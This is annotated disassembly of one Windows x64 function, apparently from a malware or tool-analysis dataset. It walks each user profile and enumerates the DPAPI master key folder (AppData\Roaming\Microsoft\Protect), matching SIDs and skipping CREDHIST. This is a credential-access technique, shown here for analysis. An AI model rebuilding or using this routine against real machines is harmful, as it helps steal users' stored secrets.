Function at 0x1400087bb
Capabilities:
Enumerate files on windows
Query environment variable

Disassembly:
push rbp
sub rsp, 0x7a0
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x730], ecx
mov qword [rbp + 0x738], rdx
lea rax, [rbp + 0x700]
mov qword [rbp + 0x700], rax
lea rax, [rbp + 0x700]
mov qword [rbp + 0x708], rax
pxor xmm0, xmm0
movups xmmword [rbp + 0x6d0], xmm0
movups xmmword [rbp + 0x6e0], xmm0
movq qword [rbp + 0x6f0], xmm0
pxor xmm0, xmm0
movups xmmword [rbp + 0x6b0], xmm0
movd dword [rbp + 0x6c0], xmm0
pxor xmm0, xmm0
movups xmmword [rbp + 0x680], xmm0
movups xmmword [rbp + 0x690], xmm0
movq qword [rbp + 0x6a0], xmm0
mov qword [rbp + 0x718], 0
mov qword [rbp + 0x710], 0
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x40], 0
lea rcx, [rbp - 0x4c]
lea rdx, [rbp - 0x48]
lea rax, [rbp - 0x44]
mov r8, rcx
mov rcx, rax
call sub.ntdll.dll_RtlGetNtVersionNumbers
mov eax, dword [rbp - 0x44]
mov dword [0x1400181dc], eax
lea r8, [rbp - 0x40]
lea rcx, [rbp - 0x38]
mov rdx, qword [rbp + 0x738]
mov eax, dword [rbp + 0x730]
mov r9, r8
mov r8, rcx
mov ecx, eax
call fcn.140008330
test eax, eax
jne 0x1400088c5
lea rax, [rbp + 0x700]
lea rdx, [0x1400181dc]
mov rcx, rax
call fcn.1400047bd
test eax, eax
je 0x140008cc1
mov eax, dword [0x140018144]
test eax, eax
je 0x1400088d9
call fcn.140002707
jmp 0x140008cb2
lea rax, [rbp + 0x6d0]
mov r8d, 0x14
mov rdx, rax
lea rax, str.SYSTEMROOT
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
call rax
lea rax, [rbp + 0x6d0]
mov rcx, rax
call sub.msvcrt.dll_wcslen
sub rax, 7
lea rcx, [rax + rax]
lea rdx, [rbp + 0x6d0]
lea rax, [rbp + 0x6b0]
mov r8, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
lea rdx, [rbp + 0x6b0]
lea rax, [rbp + 0x680]
mov r8, rdx
lea rdx, str._wsUsers.
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_wsprintfW]
call rax
lea rdx, [rbp + 0x220]
lea rax, [rbp + 0x680]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileW]
call rax
mov qword [rbp + 0x718], rax
cmp qword [rbp + 0x718], 0xffffffffffffffff
je 0x140008c98
cmp qword [rbp + 0x718], 0
je 0x140008c98
lea rax, [rbp + 0x470]
mov edx, 0x208
mov rcx, rax
call fcn.14000f9f0
mov eax, dword [rbp + 0x220]
shl eax, 4
test eax, eax
je 0x140008c60
movzx eax, word [rbp + 0x24c]
cmp ax, 0x2e
je 0x140008c60
lea rax, [rbp + 0x220]
add rax, 0x2c
mov rdx, rax
lea rax, str.desktop.ini
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__wcsicmp]
call rax
test eax, eax
je 0x140008c60
lea rax, [rbp + 0x220]
add rax, 0x2c
mov rdx, rax
lea rax, str.All_Users
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__wcsicmp]
call rax
test eax, eax
je 0x140008c60
lea rax, [rbp + 0x220]
add rax, 0x2c
mov rdx, rax
lea rax, str.Default
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__wcsicmp]
call rax
test eax, eax
je 0x140008c60
lea rax, [rbp + 0x220]
add rax, 0x2c
mov rdx, rax
lea rax, str.Default_User
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__wcsicmp]
call rax
test eax, eax
je 0x140008c60
lea rax, [rbp + 0x220]
add rax, 0x2c
mov rdx, rax
lea rax, str.Public
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__wcsicmp]
call rax
test eax, eax
je 0x140008c60
lea rax, [rbp + 0x220]
add rax, 0x2c
mov rcx, rax
call fcn.140004b24
lea rax, [0x1400115ba]
mov rcx, rax
call fcn.140004ad0
lea rax, [rbp + 0x220]
lea rcx, [rax + 0x2c]
lea rdx, [rbp + 0x6b0]
lea rax, [rbp + 0x470]
mov r9, rcx
mov r8, rdx
lea rdx, str._wsUsers_wsAppDataRoamingMicrosoftProtect.
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_wsprintfW]
call rax
lea rdx, [rbp - 0x30]
lea rax, [rbp + 0x470]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileW]
call rax
mov qword [rbp + 0x710], rax
cmp qword [rbp + 0x710], 0xffffffffffffffff
je 0x140008c61
cmp qword [rbp + 0x710], 0
je 0x140008c61
movzx eax, word [rbp - 4]
cmp ax, 0x2e
je 0x140008c2b
lea rax, [rbp - 0x30]
add rax, 0x2c
mov rdx, rax
lea rax, str.CREDHIST
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__wcsicmp]
call rax
test eax, eax
je 0x140008c2b
lea rax, [rbp - 0x30]
lea rdx, [rax + 0x2c]
lea rax, [rbp + 0x700]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rcx, rax
call fcn.140004e1a
test eax, eax
je 0x140008bc1
lea r8, [rbp + 0x700]
lea rax, [rbp + 0x220]
lea rdx, [rax + 0x2c]
lea rax, [rbp + 0x6b0]
lea rcx, [rbp - 0x30]
add rcx, 0x2c
mov qword [rsp + 0x20], rcx
mov r9d, 0
mov rcx, rax
call fcn.140007973
jmp 0x140008c2c
lea rax, [rbp - 0x30]
add rax, 0x2c
mov rdx, rax
lea rax, [0x140018160]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_StrStrIW]
call rax
test rax, rax
je 0x140008c1a
mov r8, qword [rbp - 0x40]
lea rax, [rbp + 0x220]
lea rdx, [rax + 0x2c]
lea rax, [rbp + 0x6b0]
lea rcx, [rbp - 0x30]
add rcx, 0x2c
mov qword [rsp + 0x20], rcx
mov r9, r8
mov r8d, 0
mov rcx, rax
call fcn.140007973
jmp 0x140008c2c
lea rax, str.____not_match_sid_n
mov rcx, rax
call fcn.140004ad0
jmp 0x140008c2c
nop
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0x710]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileW]
call rax
test eax, eax
jne 0x140008b1e
mov rax, qword [rbp + 0x710]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
call rax
jmp 0x140008c61
nop
lea rdx, [rbp + 0x220]
mov rax, qword [rbp + 0x718]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileW]
call rax
test eax, eax
jne 0x14000898d
mov rax, qword [rbp + 0x718]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
call rax
jmp 0x140008cb2
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.find_user_dir_failed__d_n
mov rcx, rax
call fcn.140004ad0
lea rax, [rbp + 0x700]
mov rcx, rax
call fcn.140004c4f
mov rax, qword [rbp - 0x40]
test rax, rax
je 0x140008cda
mov rax, qword [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalFree]
call rax
mov rax, qword [0x1400181d0]
test rax, rax
je 0x140008cf9
mov rax, qword [0x1400181d0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalFree]
call rax
mov eax, 0
add rsp, 0x7a0
pop rbp
ret